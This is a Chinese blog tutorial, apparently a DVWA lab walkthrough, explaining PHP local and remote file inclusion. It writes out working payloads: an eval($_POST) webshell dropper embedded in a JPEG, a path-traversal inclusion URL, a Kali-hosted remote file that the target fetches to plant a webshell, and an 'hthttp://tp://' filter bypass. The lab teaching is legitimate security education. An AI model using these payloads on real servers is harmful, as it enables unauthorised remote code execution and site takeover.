文件包含
文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可
以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文
件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包
含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务
器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不
严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
1. 文件包含(File Inclusion)即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能
2. 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
3. 文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数
文件包含分为两类:
本地文件包含LFI(Local File Inclusion) 当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含RFI(Remote File Inclusion) 当被包含的文件在第三方服务器时,叫做远程文件包含
低安全级别
1.本地文件包含漏洞
下载一个图片,尽量小点,否则可能传不上去
图片使用工具edjpgcom写入:<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[yangge]);?>')?>
在文件包含漏洞页面会执行图片里的php命令,会在fi文件夹下生成php文件shell20.php,把后半部分写到这个php文件
上传图片,访问:
http://192.168.204.133/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/yinyangt.jpg
然后用菜刀连接http://192.168.204.133/dvwa/vulnerabilities/fi/shell20.php 密码是木马里的yangge
2.远程文件包含
需要一个远程web服务器,kali上启动了apache
kali@kali:~$ systemctl start apache2
kali@kali:~$ systemctl status apache2
在/var/www/html下创建文件yangge.txt:
root@kali:/var/www/html# pwd
/var/www/html
root@kali:/var/www/html# ls -l
total 20
-rw-r--r-- 1 root root 10701 May 8 2020 index.html
-rw-r--r-- 1 root root 612 May 8 2020 index.nginx-debian.html
-rw-r--r-- 1 root root 70 Oct 29 00:48 yangge.txt
root@kali:/var/www/html# cat yangge.txt
<?fputs(fopen("shell50.php","w"),'<?php eval($_POST[yangge50]);?>')?>
root@kali:/var/www/html#
然后在文件包含漏洞url后填写远程地址访问
可以看到在以下路径生成了php文件
中安全级别
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
做了以上处理,对本地包含漏洞没影响,远程包含会把http://或https://置为空,导致url失效,可以拼下url,例如hthttp://tp:// 这样就绕过了函数str_replace,生成http://
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 单元测试从入门到精通
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律